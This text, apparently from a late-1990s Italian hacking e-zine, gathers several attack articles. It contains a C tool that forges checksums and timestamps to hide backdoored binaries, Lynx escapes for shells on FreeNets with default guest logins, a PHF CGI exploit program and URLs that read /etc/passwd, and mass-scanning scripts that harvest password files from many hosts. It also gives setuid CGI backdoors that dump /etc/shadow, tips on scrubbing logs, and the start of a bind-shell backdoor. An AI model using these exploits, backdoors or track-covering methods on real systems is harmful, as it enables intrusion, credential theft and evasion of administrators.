for(i=0;i<8;i++)
{
if (temp&1) temp = (temp>>1) + 0x8000;
else temp >>= 1;
}
if ((temp-orig_crc)==1) diff1=diff1-1;

if ((f = fopen(argv[1], "r+b")) == NULL) {
fprintf (stderr, "fix: Can't open %s\n", argv[1]);
exit(1);
}
fseek(f,0L,SEEK_END);
position=ftell(f)-17;
fseek(f,position,SEEK_SET);
fread(buf,17,1,f);
for(i=0;i<17;i++)
if (buf[i]!=0) {
fprintf(stderr,"fix: Last 17 bytes not zero\n");
fprintf(stderr,"fix: Can't fix checksum\n");
fix=0;
break;
}
if (fix) {
buf[0]=diff1;
buf[8]=diff2;
fseek(f,position,SEEK_SET);
fwrite(buf,17,1,f);
}
fclose(f);

if (chmod(argv[1],statbuf.st_mode)) {
fprintf(stderr,"fix: No permission to change mode or no such file\n");
exit(1);
}

if (chown(argv[1],statbuf.st_uid,statbuf.st_gid)) {
fprintf(stderr,"fix: No permission to change owner or no such file\n");
exit(1);
}

ftime[0].tv_sec = statbuf.st_atime;
ftime[1].tv_sec = statbuf.st_mtime;
ntime.tv_sec = statbuf.st_ctime;
ftime[0].tv_usec=ftime[1].tv_usec=ntime.tv_usec=0;


if (gettimeofday(&otime,&tzp)) {
fprintf(stderr,"fix: Can't read time of day\n");
exit(1);
}

if (settimeofday(&ntime,&tzp)) {
fprintf(stderr,"fix: Can't set time of day\n");
}

if (utimes(argv[1],ftime)) {
fprintf(stderr,"fix: Can't change modify time\n");
}
settimeofday(&otime,&tzp);
fprintf(stderr,"fix: File %s fixed\n",argv[1]);
return 0;
}


sum (file,crc)
char *file;
unsigned *crc;
{
unsigned sum;
int i, c;
FILE *f;
long nbytes;
int errflg = 0;

if ((f = fopen(file, "r")) == NULL) {
fprintf (stderr, "fix: Can't open %s\n", file);
return(1);
}
sum = 0;
nbytes = 0;
while ((c = getc(f)) != EOF) {
nbytes++;
if (sum&01)
sum = (sum>>1) + 0x8000;
else
sum >>= 1;
sum += c;
sum &= 0xFFFF;
}
if (ferror (f)) {
errflg++;
fprintf (stderr, "fix: read error on %s\n",file);
}
fclose (f);
*crc=sum;
return(0);
}

usage()
{
fprintf(stderr,"Usage:\n");
fprintf(stderr,"fix original replacement [backup]\n");
}

-----------tagliate qui------------


Detto questo penso che per adesso possa bastare, preoccupatevi piu' che altro
di coprire bene le vostre tracce in modo che il sysadm non possa risalire alla
backdoor, e di conseguenza eliminarla.....
See ya soon
Dark Schneider


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ TRUCCHETTi C0N LYNX ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve a tutti, uno dei problemi che puntualmente si presentano a tutti gli
hacker e' quello di "pararsi il culo" quando cominciano a girovagare qua e la'
per i sistemi, cioe' a non lasciare il loro IP troppo in vista nei vari file
log dei sistemi. OK, se uno ce la fa a divenire ROOT su un sistema poi puo'
preoccuparsi di cancellare tali log con appositi programmi (utclean, cloak,
zap2) e quindi (in teoria) per lui e' uguale utilizzare un account che ha
regolarmente acquistato, oppure collegarsi da una universita', oppure
utilizzare una BBS che ha telnet, oppure una qualsiasi freenet, MA se fa
soltanto qualche tentativo di intrusione e questo e' infruttuoso, oppure se
riesce ad entrare come user semplice, ma poi si fa beccare, allora e' molto
probabile (direi certo) che non voglia fare si' che l'IP che risulta sia quello
del suo vero account.
I sistemi utilizzati per fare si' di collegarsi ad un computer con un altro
IP sono diversi, ma a me interessa descrivere quello dell'utilizzo di siti
che danno una shell oppure che consentono connessioni a Telnet Ftp Rlogin etc
e che sono gratuiti o quasi, sto parlando delle FreeNet.
Ora, uno che legge FreeNet pensa subito "Wow, che bello, uso telnet, ftp, mando
posta elettronica, navigo con lynx (e magari provo qualche bug delle cgi ;),
sono loggato con l'IP della FreeNet e quindi mi paro il culo!!!!"
, ma la
realta' e' spesso ben diversa.

1) Le FreeNet si trovano nella stragrande maggioranza in USA e spessissimo
consentono di diventare user e di utilizzare i servizi sopracitati solo a chi
risiede in USA oppure in uno stato dell'USA soltanto.

2) Per telnettare, girare su ftp, avere la shell potere fare il rlogin occorre
pagare una certa somma di denaro.

3) Per essere registrati come user bisogna inviare per Posta (N.B.: non per
E-Mail) i propri dati anagrafici.

4) Per essere registrati bisogna inviare per posta anche la fotocopia della
carta di identita'.

Ora, se uno utilizza la FreeNet per scopi, diciamo cosi' "particolari", per
non fare visualizzare il suo vero IP, mandare la fotocopia della carta di
identita' ai gestori non e' proprio una bella cosa.
E' per questo che ho scritto questo articolo, per farvi vedere cioe' come e'
possibile fregare i gestori della FreeNet con una procedura semplice ed
efficace.

Moltissime FreeNet non consentono a chi entra come ospite nel sistema di fare
praticamente nulla, e richiedono di essere un user registrato per un qualsiasi
servizio, ma spessissimo concedono all'utente l'utilizzo di lynx, anche solo
per connettersi a una determinata pagina, oppure per visualizzare file che
sono locali.
Se questo accade OK, avete diverse chance di ottenere una shell......

Ma veniamo al sodo.
Attivato lynx dovreste ritrovarvi davanti a qualche cosa del genere:

-----------------------------------------------------------------------------

Lynx


(qui la pagina caricata come predefinita)



-----------------------------------------------------------------------------
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
-----------------------------------------------------------------------------

Innanzittutto, non so' se sapete che e' possibile utilizzare lynx per
visualizzare anche i file che sono all'interno del sistema mettendo come
indirizzo qualche cosa del tipo:

file://localhost/etc/passwd

quindi vi consiglio di utilizzare questa procedura per visualizzare i file
piu' importanti del sistema, come ad esempio:

/etc/inetd.conf
/etc/syslog.conf
/etc/hosts.equiv
e
/var/adm/messages che in generale pero' potrete vedere solo su sistemi Linux
oppure su altri tipi di Unix con i permessi settati male e che contiene anche
gli errori di eventuali login sbagliati, con la possibilita' che, se l'user in
questione ha digitato la sua passwd al posto del suo username, possiate vederla
(se avete una dose massiccia di culo).

Quindi, dopo esservi procurati qualche file utile potete provare ad ottenere
la shell seguendo la procedura qui di seguito.
Per cominciare bisogna scrivere "O", ed entare cosi' nel menu' delle opzioni.
Vediamo un po' cosa c'e'....

-----------------------------------------------------------------------------

Options Menu (Lynx Version 2.6)

E)ditor : NONE
D)ISPLAY variable : NONE
B)ookmark file : lynx_bookmarks.html
F)TP sort criteria : By Filename
P)ersonal mail address : NONE
S)earching type : CASE INSENSITIVE
display (C)haracter set : ISO Latin 1
Raw 8-bit or CJK m(O)de : ON
preferred document lan(G)uage: en
preferred document c(H)arset : NONE
V)I keys : OFF
e(M)acs keys : OFF
K)eypad mode : Numbers act as arrows
li(N)e edit style : Default Binding
l(I)st directory style : Mixed style
sho(W) dot files : OFF
U)ser mode : Novice
user (A)gent : Lynx/2.6 libwww-FM/2.14

Select capital letter of option line, '>' to save, or 'r' to return to Lynx.

-----------------------------------------------------------------------------

L'opzione da utilizzare sara' E), editor. Lo scopo di questa opzione
sarebbe quello di editare dei file aperti con lynx con programmi tipo pico,
vi, joe etc. Invece di utilizzare pero' normali editor di testo, possiamo
utilizzare qualsiasi altro programma, tanto sotto lynx la sintassi e':

[editor] <file aperto in lynx>

Qui sta il "bandolo della matassa", premiamo il tasto "E" e prendiamo come
editor exec, poi digitiamo ">" per salvare.
Dopo di che dovremmo ritornare alla schermata iniziale di lynx.
Adesso digitiamo "g", lynx ci chiedera' il nome dell'URL da aprire e qui
non dovremo fare altro che rispondere:

file://localhost/bin/sh

Se tutto funziona /bin/sh sara' aperta da lynx.
Adesso premete "e" simulando di volere editare il file di testo, ma......
noi abbiamo messo exec come editor ;) , quindi.....
Dovrebbe arrivare qualcosa del genere:
-----------------------------------------------------------------------------

ELF4ð?4 (444 ÔÔÔéééyyÌH¬[Ä1ÄÁÄÁ/lib/ld-linux.so.1j5H[&mU dao Qx")Bs|Ng8LW+ST
eP{ut!i:@%`Mb9Aq7>=.~ZGFY/<Ccrz'*w,]RhO6X?(4
p\Jf2-
v^}1#k;lK_V3$E0nyID¸"
ØC&ÄÁñÿ/XY5Tpæ <xäN¸"TÈ<["bH3kyuÃxP~X"¨ªè&(Í¡H"©öìÈ
è"
¹øáÁ`§
ÇØ8Îô¿ñÿä8 éøÃì¸góø<ûX"
XÂüÃ$Ã4¸6:hA"
HxcO@V<ü- \#eØ"kcs8¹{y ¤¡ (""È"¡h"©¸B°H&·(JÁË8&Õ¨"Ú¨"ä¨Mîh"úø"""h
è&%HM/h"
48"9¨×?XE<M¸"Y(C"`&"jà v"~èf"hc\ È"¡8"©X"±""½¸"Ã"Çø"Ì"Óx"ØX"â"êx"ï"õ"
úø"
è"H"È"8""#¨""5H"?("D>OôÃ]ØPc¸ÂToh"w"~È&"`ÂTè("X& è$«H@³ ÃT¾h"Åø"ÌØ"Ô&"Ûø"ä
("íØG"öØbýxWx<"x<¨Ì(F*l0j98tBK\ÂRÃ_T§ñÿfTÂñÿmTÂñÿy4Õñÿlibtermcap.so.2strcpyioct
ltgetnum_DYNAMICtgotogetenv__strtol_internalfgetsmemcpymalloctgetflag__environB
C_initwritestrcattputsstrncmpstrncpyreallocPCfopenfclosetgetent_finiatexit_GLOB
AL_OFFSET_TABLE_exitUPstrchrtgetstrfreelibc.so.5__ctype_b__ctype_tolower__ctype
_toupperbzerostrcmpgetpid_xstatgetcwdgetwdstrerrorfcntl_fxstatstrrchrenvironfnm
atchgeteuidgetuidgetgidgetegidkillpgtcflowtcgetpgrptcsetattrtcsetpgrpopensigact
ionsigaddsetsigprocmaskalarmclosegetdtablesizelongjmp__setjmpsigdelsetatoiatolq
sortbcopystrncatgethostnameisattytcgetattrsys_siglistwaitpidgetpeername_lxstate
rrnoclosediropendirreaddirreadaccesschdirdupdup2execveforkgetgroupsgetppidkilll
seekpipesetgidsetuidtimesumaskunlinkgetpgrpgetrlimitsetpgidsetrlimittime__setfp
-- press space for next page --
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
bash$ O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

-----------------------------------------------------------------------------

Se guardate attentamente l'angolo in basso potrete vedere qualche cosa di
interessante....... BASH$ !!!! :) Adesso avete la shell!!!!!!
Un'ultima cosa, spesso a questo punto c'e' bisogno di risettare il terminale,
fatelo semplicemente con un:

TERM=vt100 export TERM

Comunque, se il metodo sopracitato per qualche ragione non ha funzionato e
non siete riusciti ad ottenere la shell (perche' non vi e' concesso di
cambiare editor nelle opzioni) potete provare anche ad utilizzare un altro
trucchettino:

Entrate sempre in lynx e premete G per andare al seguente indirizzo:

LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null
successivamente a
enter filename: /dev/null
e poi a
File exists. Overwrite? (y/n) y

Piu' o meno sempre con lo stesso sistema potete provare a leggere (se il
sistema descritto in precedenza non ha avuto esito positivo) il file delle
passwd:

LYNXDOWNLOAD://Method=-1/File=/etc/passwd/SugFile=/dev/stdout
successivamente a
Enter a filename: /dev/stdout
e poi a
File exists. Overwrite? (y/n) y

Se anche questo sistema non ha funzionato allora................. bhe ...
SIETE PROPRIO SCULATI !!!!

Se invece uno dei sistemi descritti ha dato esito positivo tengo a precisare
una cosa: NON DOVETE COMBINARE CASINI SULLA FREENET! Dovete limitarvi come
massimo ad aggiungere uno user in piu' tra quelli registrati.
Ricordate che le FreeNet sono un bene di tutti, che se non ci fossero
bisognerebbe sempre utilizzare account di altri, e che se in fondo impongono
delle limitazioni per divenire user e se magari cercano di avere qualche
informazione in piu' sulle persone che le usano non lo fanno (quasi) mai
perche' sono gestite da "
bastardi", ma perche' qualche pirla in passato ci ha
combinato casini sopra.

P.S.: E' anche possibile che alcuni server utilizzino l'account per lynx, e
quello descritto sopra puo' essere un metodo da provare per avere una shell
su essi.
Per vedere se esiste l'account utilizzato come ospite per lynx provate a
facendo un finger lynx@miosito.com e un vrfy lynx alla porta Smtp (25).
Se ottenete come risposta qualcosa del genere, potete essere sicuri che
l'account per lynx esiste:

Finger:

Trying...
Connected to miosito.com
Escape character is '^]'.
lynx
Login name: lynx In real life: Lynx Guest Account
Directory: /home/lynx Shell: /usr/bin/lynx
No Plan.

Smtp:

Trying...
Connected to host.com
Escape character is '^]'.
220 host.com ESMTP Sendmail 8.8.5/8.8.2; Fri, 3 Oct 1997 19:53:40 - 0400
vrfy lynx
252 <lynx@miosito.com>

Di solito l'account per lynx e' destinato ad essere utilizzato da remoto,
quindi user e passwd si possono facilmente indovinare, comunque, questi
sono i piu' comuni:

-lynx/lynx
-guest/guest
-guest/lynx
-www/wwww
-www/lynx

Ciao.

ndr: Gli esempi contenuti in questo articolo sono tratti da:
"
Confidence Remains High" N.666 CodeZero (www.technotronic.com/ezines/crh/)

DevilKiss


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ PHŸ QUEST0 <S>C0N0SCiUT0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ho pensato un bel po' prima di decidere su cosa scrivere l'articolo.
Poi ho pensato che sarebbe stato interesante per i lettori avere qualche tool
per iniziare a fare dell'hacking senza correre troppi rischi e senza avere
grandi conoscenze informatiche... ovviamente quello che sto per dirvi vi
aiutera' a trovare delle password o adirittura ad essere root ma attenzione....
se non siete hackers non utilizzate le info... (per intenderci non entrate nel
sistema perche' se non sapete cancellare le vostre tracce, e vi assicuro che
sono molte, vi potrebbero beccare e non sarebbe felice per voi...)
Iniziamo ....

Il PHF e' un eseguibile che si trova sui web server apache. Esso e' exploitable
(ha un bug che permette di fare piu' cose di quelle che si pensano).
Praticamente se esso e'presente ed ha certi permessi e' possibile eseguire dei
comandi sul web server con l'id di httpd!!
Quasi sempre l'id e' nobody, ma capita anche che l'id del demone http sia
root!!!

Come si fa????? Semplice.

Innanzitutto avete bisogno di un web browser (netscape, explorer, linx ...)
Poi fate una richiesta di questo tipo:

http://nome.server.vittima/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

Se il vostro browser vi dice che phf non esiste ecc. allora il server non e'
espugnabile in questo modo. Ma se vi risponde

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

Allora ci siamo.... In questo caso l'id del demone http e' nobody ma ci
accontentiamo.
Analizziamo il comando: oltre al nome della macchina, dopo x%0a si scrive il
comando ricordandosi di sostituire gli spazi con %20.
Quindi se vogliamo leggere il phile di password richiederemo:

http://nome.server.vittima/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd

Avrete il cat del passwd pronto per essere copiato sul vostro server locale.
Oppure possiamo fare un bel ls della directory /etc:

http://nome.server.vittima/cgi-bin/phf/?Qalias=x%0a/bin/ls%20/etc/

Adesso sbizzarritevi ma ricordate che non potete cambiare shell, fare piping
ecc.
Se non volete usare un browser potete compilare questo programmino C:

phf.c

------ cut here ------
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/


#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>


int main(argc, argv)
int argc;
char **argv;

{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;

if (argc != 3 && argc != 4) {
fprintf(stderr, "
Usage: %s command hostname [port]", argv[0]);
exit(1);
}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "
%20"); else {
sprintf(j, "
%c", argv[1][i]);
strcat(command, j);
}
++i;
}

strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {

sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "
%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}

sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "
%s: could not get socket\n", argv[0]);
exit(1);
}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "
%s: could not establish connection\n", argv[0]);
exit(1);
}

sprintf(exploit, "
GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}

close(s);
}
-------- cut here ------

Phf si puo' utilizzare in questo modo:

phf id nome.server.vittima

------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------

Per recuperare i phile di passwd con questo programma devi scrivere:

phf cat%20/etc/passwd nome.server.vittima

Date una occhiata anche al phile /var/adm/message ci potrebbero essere delle
buone info ;)

Se invece l'id di httpd e' root potete fare un sacco di cose:

http://nome.server.vitima/cgi-bin/phf/?Qalias=x%0apasswd%20root

In questo modo potrete fare un telnet senza che vi venga richiesta la password.

Adesso che sai cosa fare una volta trovato la macchina vittima ci chiederai:
Ma come faccio a trovare le macchine????

Fornisco qui 4 shell script che ci aiuteranno a trovarla:

monk.sh:
monk.sh <nomephile>
nomephile e' un phile che contiene una lista di host sui quali si vuole testare
il bug phf.
Se il bug e' presente sull'host crea un phile host.pw che contiene il passwd.

travel.sh:
travel.sh <www.host.org>
questo script si collega tramite linx a www.host.org ed estrae dalla pagina
tutti i link e li scrive in un phile. Poi si collega a questi siti e ripete la
stessa operazione in maniera ricorsiva. In questo modo si crea un phile che
contiene una serie di host.

grab.sh:
grab.sh <rawphile> <output>
estrae da una pagina web generica(rawphile) i nomi dei link e li scrive nel
phile output.

scan.sh:
scan.sh <nomephile>
apre 15 processi monk.sh per velocizzare il check degli indirizzi.

grab.sh
-------cut here-------
#!/bin/sh
# Date created: Wed Dec 24 19:38:27 EST 1997
# Simple script to take a list of urls and extract just the server address.
# Project Xenolith
# usage: ./grab.sh <raw list> <output file>
##

# Check for proper command line usage
if [ $# -ne 2 ]
then
echo "
Usage: $0 <rawlist> <output file>"
exit 1
fi

# Strip away htlm code and leave only the host address
for site in `cat $1 | grep http | grep -v "
>" | grep -v "<"`
do
echo $site | cut -d"
/" -f3 >> $2.temp
done

# Remove any blank lines
for check in `cat $2.temp`
do
if [ "
$check" != "" ]
then
echo $check >> $2.tmp
fi
done

# Filter out military and governmental sites
cat $2.tmp | grep -v mil | grep -v gov > $2.temp

# Sort the list aphabetically and remove all duplicate addresses
sort -fd $2.temp | uniq >> $2

# Clean up the temporary files
rm $2.temp $2.tmp

# Alert user that collection is completed
echo ; sleep 1; echo
-------end cut-------

monk.sh
-------cut here-------
#!/bin/sh
# Date created: Wed Dec 24 00:00:36 EST 1997
# A simple script to scan for the phf bug.
# Made because some sites do not have perl and expect installed.
# Project Xenolith
# usage: ./monk.sh <list>
##
# Modified on: Sat Dec 27 03:07:40 EST 1997
# Added checks for the campas and handler cgi scripts as well.
# Project Xenolith
##

# Check for proper command line usage.
if [ $# -ne 1 ]
then
echo "
Usage: $0 <list>"
exit 1
fi

# The phf cgi exploit code
phf="
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd"
# The campas cgi exploit code
campas="
/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd"
# The IRIX handler cgi exploit code
handler="
/cgi-bin/handler/xenolith;cat /etc/passwd/| ?data=Download"

for target in `cat $1`
do
## Check the site, using lynx as a front end
echo Checking $target
## Try to exploit the phf bug
lynx -dump http://$target$phf > $target.temp

## Check to see if it may be the passwd file
if cat $target.temp | grep root:
then
echo XENOLITH phf Got possible passwd file from $target XENOLITH
## If we have a passwd file move it to a file in the format of site.pw
mv $target.temp $target.pw
echo phf >> $target.pw
else
## Try to exploit the campas bug
lynx -dump http://$target$campas > $target.temp
if cat $target.temp | grep root:
then
echo XENOLITH campas Got possible passwd file from $target XENOLITH
mv $target.temp $target.pw
echo campas >> $target.pw
else
## Try to exploit the handler bug
lynx -dump http://$target$handler > $target.temp
if cat $target.temp | grep root:
then
echo XENOLITH handler Got possible passwd file from $target
XENOLITH
mv $target.temp $target.pw
echo handler >> $target.pw
else
rm $target.temp
fi
fi
fi

done
-------end cut-------

travel.sh
-------cut here-------
#!/bin/sh
# This is a simple, yet effective way to compile a list of
# webserver addresses to scan.

if [ $# -ne 1 ]
then
echo "
Usage: $0 <web site to begin with>"
exit 1
fi

# use some of lynx's nifty features - older lynx may not have this.
lynx -traversal -crawl http://$1

# Alert user that first stage of collection is completed
echo ;sleep 1; echo

# run the results through grab.sh to extract the webserver addresses
rm -rf lnk*
rm -rf travers*
./grab.sh reject.dat list

-------end cut-------

scan.sh
-------cut here-------
#!/bin/sh
# Date created: Wed Dec 24 18:50:14 EST 1997
# A front end to monk.sh. Speeds things up by starting several processes.
# Project Xenolith
# usage: ./scan.sh <list>

# Check for proper command line usage
if [ $# -ne 1 ]
then
echo "
Usage: $0 <list>"
exit 1
fi

# We want 15 processes running, so determine the number of sites
# each process should check
# For the -f option in the cut command you will have to adjust. It varies
# from system to system. Man cut if confused and test it by hand.
lines=`wc -l $1 | cut -d"
" -f1`
num=`expr $lines / 15`

# Split the list of sites up into proper sized files.
cat $1 | split -$num - xenolith.

# Start the specified number of processes
for chunk in `ls | grep xenolith`
do
./monk.sh $chunk &
done

read x
-------end cut-------

Proprio in questi giorni (aprile 98) noi della NZ2 abbiamo hackato una macchina
dell'universita' di Milano.
Ovviamente ci abbiamo dato una occhiata, abbiamo creato un phile che si
chiamava: ATTENZIONE_BUG_PHF_CORREGGETELO in /var/mail e poi abbiamo avvertito
il web master del problema.
Ricordiamo che se siete hackers dovete rispettare l'etica. Non distruggete e
non fate casini.
I veri hacker si distinguono per il loro senso dell'humor e soprattutto per la
loro intelligenza.

E questo dalla Neurozone2 e' tutto: alla prossima.....
LordKasKo


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CGi ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ebbene si' cari lettori, anche in questo numero DrumFire ritorna per svelarvi
un paio di trucchetti per mettere backdoor con i CGI, che se usati a modo
possono risultare davvero utili ;)

Un CGI (Common Gateways Interface) e' uno script o un programma eseguibile che
puo' essere attivato tramite WEB, quindi sia tramite pagina HTML che
direttamente da browser.
Questi CGI in pratica sono dei programmi che NON girano sul client, ma al
contrario girano sul server dove sono stati salvati.
Possono essere scritti in PERL, in TCL, in C, in Bash script, insomma con
quello che cazzo vi pare, anche se oggi viene usato per la maggior parte il
PERL.
Tramite WEB e' possibile passare anche dei parametri a questi CGI in modo
che per esempio facciano CERTE cose, a seconda dei parametri che gli vengono
passati (hihihih e che COSE!!!)
In questo articolo non staro' a sofisticare i vari aspetti della
programmazione CGI quindi non mi faro' seghe mentali se sull'output ci
verranno messi dei TAG o no. A me e anche a VOI non ce ne frega un cazzo!
Piu' che altro ci interessera' l'aspetto del funzionamento, quindi dello
svolgimento di azioni che noi vorremo fargli fare.
Ricordatevi che i CGI vanno inseriti nella directory /cgi-bin della directory
di lavoro del vostro browser.

Allora vediamo un bel CGI:

test.cgi
------------------------------------------------------------------------------
#!/bin/sh

# disable filename globbing
set -f

echo Content-type: text/plain
echo

echo CGI/1.0 test script report:
echo

echo argc is $#. argv is "
$*".
echo

.nome.cgi
------------------------------------------------------------------------------

Sapete cosa cazzo fa questo CGI?????
Beh, semplice: esegue il file .nome.cgi

.nome.cgi e' un file eseguibile che per ragioni di sicurezza e di funzionamento
e' stato settato tale.
Ecco qui il listato...

.nome.c
-----------------------------------------------------------------------------
#include <stdio.h>
//Compilare con: gcc pippo.c -o .nome.cgi
//Dovra' essere settato : chmod 4755 .nome.cgi
void main()
{
system("
cat /etc/shadow");
}
-----------------------------------------------------------------------------

Anche uno della Telecom capisce cosa fa questo programma. Visualizza il file
/etc/shadow che come voi saprete e' MOOOOLTO importante.

ATTENZIONE! Questi file sono di esempio, poi ognuno li mette il nome che gli
pare e li fa fare quello che vuole.

Dopo aver compilato il file .nome.c e averlo rinominato .nome.cgi occorrera'
settarlo 4755 con il seguente comando:

chmod 4755 .nome.cgi

Dopo che avrete fatto questo potrete testare il funzionamento facendo un
semplice:

telnet 127.0.0.1 80
GET "
/cgi-bin/test.cgi"

Verra' eseguito il file test.cgi che a sua volta eseguira' il file .nome.cgi
il quale visualizzera' lo shadow e lo rimandera' al test.cgi che infine lo
inoltrera' al server WEB. Capito tutto!!?!?! 8))
Si', ok.

IMPORTANTE: Ho dato per scontato che abbiate installato in locale un server
WEB e che sappiate anche copiare i CGI al posto giusto!
Se non lo sapete fare, beh allora cazzi vostri :)

Fatto il GET "
/cgi-bin/test.cgi" vedrete apparire il file shadow, che
potrete copiare tranquillamente e decriptare anche a casa vostra..
Mi raccomando di inserire anche all'interno dello script un programmino che
provveda a togliere dai file di LOG la vostra richiesta a questo CGI,
altrimenti l'admin se ne accorgera' e poi vi inculera' a saltelli.
Per far questo potrete anche utilizzare lo scriptino che allego, dovrete
modificarlo un po', cmq il gioco si basa sempre sul "
grep -v".
Ve lo lascio come compito.
Fatto questo avrete quindi sempre il vostro file shadow aggiornato e shell
sempre pronte!

Bene ora veniamo ad alcune considerazioni di carattere funzionale.
Sicuramente starete pensando come mai abbia usato 2 programmi per fare una
cosa che poteva essere svolta anche utilizzando un programma solo,
aggiungendoci la riga "
cat /etc/shadow"

Il fatto e' che gli script bash anche se vengono settati come 4755 girano
sempre come se non lo fossero, quindi il cat non sarebbe andato a buon fine.
In questo modo invece il file che fa il cat e' un eseguibile vero e proprio,
che girera' suid to root indipendentemente dal valore del processo padre che
lo ha generato.
Non so se anche scrivendoli in PERL sarebbe stata la stessa cosa, forse no,
loro viaggiano a modo.
Il problema con questi script PERL e' pero' il fatto che non su tutti i sistemi
che andrete ad hackare saranno presenti, mentre lo script bash e il C quasi
sempre, quindi si fa leggermente prima.
Poi se ci fosse anche il PERL nessuno vieterebbe di usare quello, anzi...!

Un'altra tecnica molto ingegnosa e' quella di fregare qualche codice sorgente
di CGI che girano sul server remoto.
Questo perche', specialmente se scritti in C, voi potrete modificarli in modo
che a seconda dei parametri che gli passate facciano una certa cosa, altrimenti
faranno come di consueto il loro lavoro.
Stessa cosa si puo' fare anche con PERL, pero' editandoli uno se ne accorge,
invece gli esegubili veri e propri no.... o forse si. Dipende. Beh sarebbe
utile allora fare una stringa che contenga i codici ASCII delle lettere che
compongono la stringa "
cat /etc/shadow" e poi farci sopra qualche operazione,
di modo che quando il file non e' eseguito la stringa rimanga criptata, se si
esegue

  
invece vengano fatte le operazioni contrarie e poi si rimetta tutto a
posto.

Ecco un altro semplice script che fa vedere il passwd, il problema e' che non
si puo' eseguire suid to root per i motivi sopra elencati, quindi per lo
shadow sara' un po' un casino:

-----------------------------------------------------------------------------
#!/usr/bin/tclsh

set fi [open "/etc/passwd" r]
while { [eof $fi] != 1 } {
set buffer [gets $fi]
puts $buffer
}
-----------------------------------------------------------------------------

Come potete vedere con i CGI e' possibile fare un numero innumerevole di
operazioni, e a dire il vero sono anche un buon punto di appoggio in quanto:

1) Sono attivabili tramite WEB, il che non e' poco visto che oggi il WEB e'
il servizio che va per la maggiore e che e' implementato quasi al 100% sui
server Internet, al contrario di servizi come Telnet o Sendmail che spesso
non sono presenti.

2) Gli admin, o almeno la maggior parte, sono degli ingoranti nel campo dei
CGI e non pensano nemmeno che dentro un CGI si possa nascondere una shell di
rientro!!

A proposito di shell di rientro ecco qua un altro listato molto utile:

-------------------------------------------------------------------------------
#define PORT 40313
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr,
sizeof(serv_addr));
if (soc_rc != 0)
